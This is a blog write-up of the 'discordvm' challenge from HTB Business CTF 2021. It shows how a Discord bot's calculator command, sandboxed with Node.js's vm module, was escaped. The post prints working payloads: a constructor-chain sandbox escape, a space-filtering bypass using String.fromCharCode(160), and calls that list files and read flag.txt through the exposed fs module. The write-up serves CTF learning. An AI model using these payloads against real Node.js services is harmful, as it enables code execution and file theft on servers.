HTB Business CTF 2021: discordvm

HTB Business CTF 2021: discordvm


We introduced "sandboxing" using Node.js vm module on our calculator feature.<redacted>

Complete write up for the discordvm challenge at Business CTF 2021 hosted by Hack The Box. This article is a part of a HTB Business CTF 2021 series.

Learn more from additional readings found at the end of the article. I would be thankful if you mention me when using parts of this article in your work. Enjoy!


  1. Introduction
  2. Basic Information
  3. Recon
  4. Weaponizing
  5. Exploit
  6. Additional readings

Basic Information

TypeJeopardy CTF / Miscellaneous
Organized byHack The Box
NameHTB Business CTF 2021 / discordvm
CTFtime weight24.33
Started2021/07/23 12:00 UTC
Ended2021/07/25 18:00 UTC
AuthorAsentinn / NetCrawlers

πŸ”” CyberEthical.Me is maintained purely from your donations - consider one-time sponsoring with the Sponsor button or 🎁 become a Patron which also gives you some bonus perks.


We are provided with the Discord Server invite.


We are having single general channel, without permissions to send messages. In the message history we can read

[+] Welcome to our mock Discord server! πŸ‘‹

It is intended that you cannot send messages here. πŸ”’

The purpose of this Discord server is to just host the Business CTF 2021 Misc challenge > called discordvm. :metal:

Do not DM anyone other than @discordvm . β›”

To interact with the challenge DM @discordvm the command !help. Have fun! πŸ‘

So, the purpose of this challenge is to get the flag from the Discord Bot - @discordvm. We are also provided with the backend source code:

const vm = require('vm');
const payload = '1+1';

// The Discord bot get's args[0], so pretty much the same setup except no spaces.

Communication with the bot


Bot reacts to the !help and !calc commands. Second one apparently just pass the arguments of command as a payload to the vm.runInNewContext NodeJS method.


Let's create a local NodeJS application that is obtaining the payload in its arguments, just like the bot.

const vm = require('vm');
var myArgs = process.argv.slice(2);


To run it, simply call node main.js 1+1


Now, working together with the The unsecure node vm module article I come up with the following Node VM escape command

node main.js "(this.constructor.constructor('return this'))()"



Passing an exploit in the command does error out.


It seems like there is an issue with the space in the command. There are multiple ways to challenge that. I went with String.fromCharCode("160")

!calc (this.constructor.constructor('return'+String.fromCharCode("160")+'this'))()


We can see that returned is the object. Now, by enumerating available members or this we can find out that fs is loaded.

!calc (this.constructor.constructor('return'+String.fromCharCode("160")+'Object.entries(this)[9]'))()


This is what we need. Let's retrieve the flag from the file system.

!calc (this.constructor.constructor("return"+String.fromCharCode("160")+"this.fs.readdirSync('.')"))()
!calc (this.constructor.constructor("return"+String.fromCharCode("160")+"this.fs.readFileSync('flag.txt')"))()


Do you like what you see? Join the now and start publishing. Things that are awesome:

βœ” Automatic GitHub Backup

βœ” Write in Markdown

βœ” Free domain mapping

βœ” CDN hosted images

βœ” Free built-in newsletter service

βœ” Built-in blog monetizing through the Sponsor feature

By using my link, you can help me unlock the ambassador role, which cost you nothing and gives me some additional features to support my content creation mojo.

Additional readings

πŸ“Œ Follow the #CyberEthical hashtag on the social media

🎁 Become a Patron and gain additional benefits

πŸ‘‰ Instagram:

πŸ‘‰ LinkedIn: Kamil Gierach-Pacanek

πŸ‘‰ Twitter: @cyberethical_me

πŸ‘‰ Facebook: @CyberEthicalMe

Did you find this article valuable?

Support Kamil Gierach-Pacanek by becoming a sponsor. Any amount is appreciated!